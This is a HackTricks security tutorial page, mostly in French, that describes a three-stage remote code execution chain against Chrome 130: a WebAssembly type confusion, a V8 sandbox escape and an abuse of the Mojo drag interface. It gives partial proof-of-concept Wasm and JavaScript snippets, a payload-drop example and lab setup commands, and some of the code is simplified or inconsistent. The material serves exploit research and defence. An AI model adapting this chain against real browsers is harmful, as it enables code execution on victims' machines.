Chrome Exploiting

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Cette page fournit un aperçu de haut niveau mais pratique d’un workflow d’exploitation moderne “full-chain” contre Google Chrome 130 basé sur la série de recherche “101 Chrome Exploitation” (Part-0 — Preface). L’objectif est de fournir aux pentesters et aux développeurs d’exploits les connaissances minimales nécessaires pour reproduire ou adapter les techniques pour leurs propres recherches.

1. Chrome Architecture Recap

Comprendre la surface d’attaque nécessite de savoir où le code est exécuté et quels sandboxes s’appliquent.

Processus Chrome & agencement des sandboxes ```text +-------------------------------------------------------------------------+ | Chrome Browser | | | | +----------------------------+ +-----------------------------+ | | | Renderer Process | | Browser/main Process | | | | [No direct OS access] | | [OS access] | | | | +----------------------+ | | | | | | | V8 Sandbox | | | | | | | | [JavaScript / Wasm] | | | | | | | +----------------------+ | | | | | +----------------------------+ +-----------------------------+ | | | IPC/Mojo | | | V | | | +----------------------------+ | | | | GPU Process | | | | | [Restricted OS access] | | | | +----------------------------+ | | +-------------------------------------------------------------------------+ ```

Défense en profondeur par couches :

  • V8 sandbox (Isolate) : les permissions mémoire sont restreintes pour empêcher des lectures/écritures arbitraires depuis du JITed JS / Wasm.
  • Renderer ↔ Browser split assuré via le passage de messages Mojo/IPC ; le renderer n’a aucun accès natif au FS/réseau.
  • OS sandboxes contiennent en outre chaque processus (Windows Integrity Levels / seccomp-bpf / macOS sandbox profiles).

Un attaquant remote a donc besoin de trois primitives successives :

  1. Une corruption mémoire dans V8 pour obtenir RW arbitraire dans le V8 heap.
  2. Un second bug permettant à l’attaquant d’échapper au V8 sandbox vers la mémoire complète du renderer.
  3. Une dernière évasion du sandbox (souvent logique plutôt que par corruption mémoire) pour exécuter du code en dehors du Chrome OS sandbox.

2. Étape 1 – WebAssembly Type-Confusion (CVE-2025-0291)

Une faille dans l’optimisation Turboshaft de TurboFan mal-classifie les WasmGC reference types lorsque la valeur est produite et consommée à l’intérieur d’une single basic block loop.

Effet :

  • Le compilateur ignore la vérification de type, traitant une reference (externref/anyref) comme un int64.
  • Un Wasm spécialement conçu permet de faire chevaucher l’en-tête d’un objet JS avec des données contrôlées par l’attaquant → addrOf() & fakeObj() AAW / AAR primitives.

PoC minimal (extrait) :

(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

Déclencher l’optimisation & spray objects depuis JS:

const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Résultat: arbitrary read/write within V8.

3. Étape 2 – Évasion du sandbox V8 (issue 379140430)

When a Wasm function is tier-up-compiled, a JS ↔ Wasm wrapper is generated. A signature-mismatch bug causes the wrapper to write past the end of a trusted Tuple2 object when the Wasm function is re-optimised while still on the stack.

Overwriting the 2 × 64-bit fields of the Tuple2 object yields read/write on any address inside the Renderer process, effectively bypassing the V8 sandbox.

Key steps in exploit:

  1. Amener la fonction en état Tier-Up en alternant turbofan/baseline code.
  2. Déclencher le tier-up tout en gardant une référence sur la stack (Function.prototype.apply).
  3. Utiliser Stage-1 AAR/AAW pour trouver et corrompre le Tuple2 adjacent.

Wrapper identification:

function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

Après la corruption, nous disposons d’une renderer R/W primitive entièrement fonctionnelle.

4. Étape 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)

L’interface IPC Mojo blink.mojom.DragService.startDragging() peut être appelée depuis le Renderer avec des paramètres partiellement fiables. En construisant une structure DragData pointant vers un chemin de fichier arbitraire, le renderer convainc le browser d’effectuer un glisser-déposer natif en dehors du renderer sandbox.

En abusant de cela, nous pouvons « glisser » de manière programmatique un EXE malveillant (préalablement déposé dans un emplacement accessible en écriture par tous) sur le Desktop, où Windows exécute automatiquement certains types de fichiers une fois déposés.

Example (simplified):

const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

Aucune corruption de mémoire supplémentaire n’est nécessaire – la faille logique nous permet l’exécution arbitraire de fichiers avec les privilèges de l’utilisateur.

5. Full Chain Flow

  1. User visits malicious webpage.
  2. Stage 1 : le module Wasm abuse de CVE-2025-0291 → V8 heap AAR/AAW.
  3. Stage 2 : incompatibilité de wrapper corrompt Tuple2 → escape V8 sandbox.
  4. Stage 3 : startDragging() IPC → escape OS sandbox & execute payload.

Result: Remote Code Execution (RCE) sur l’hôte (Chrome 130, Windows/Linux/macOS).

6. Lab & Debugging Setup

# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Options utiles pour lancer une build development de Chrome :

chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

7. Renderer → kernel escape ressource

Quand un exploit de renderer a besoin d’un kernel pivot qui reste à l’intérieur du seccomp profile, abuser des sockets AF_UNIX MSG_OOB encore accessibles dans le sandbox fournit un chemin déterministe. Consultez l’étude de cas ci‑dessous sur Linux kernel exploitation pour la chaîne SKB UAF → kernel RCE :

Af Unix Msg Oob Uaf Skb Primitives

Points clés

  • WebAssembly JIT bugs restent une porte d’entrée fiable — le système de types est encore jeune.
  • Obtenir un second memory-corruption bug dans V8 (p.ex. wrapper mismatch) simplifie grandement V8-sandbox escape.
  • Les faiblesses au niveau logique dans les interfaces Mojo IPC privilégiées suffisent souvent pour un final sandbox escape — surveillez les non-memory bugs.

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks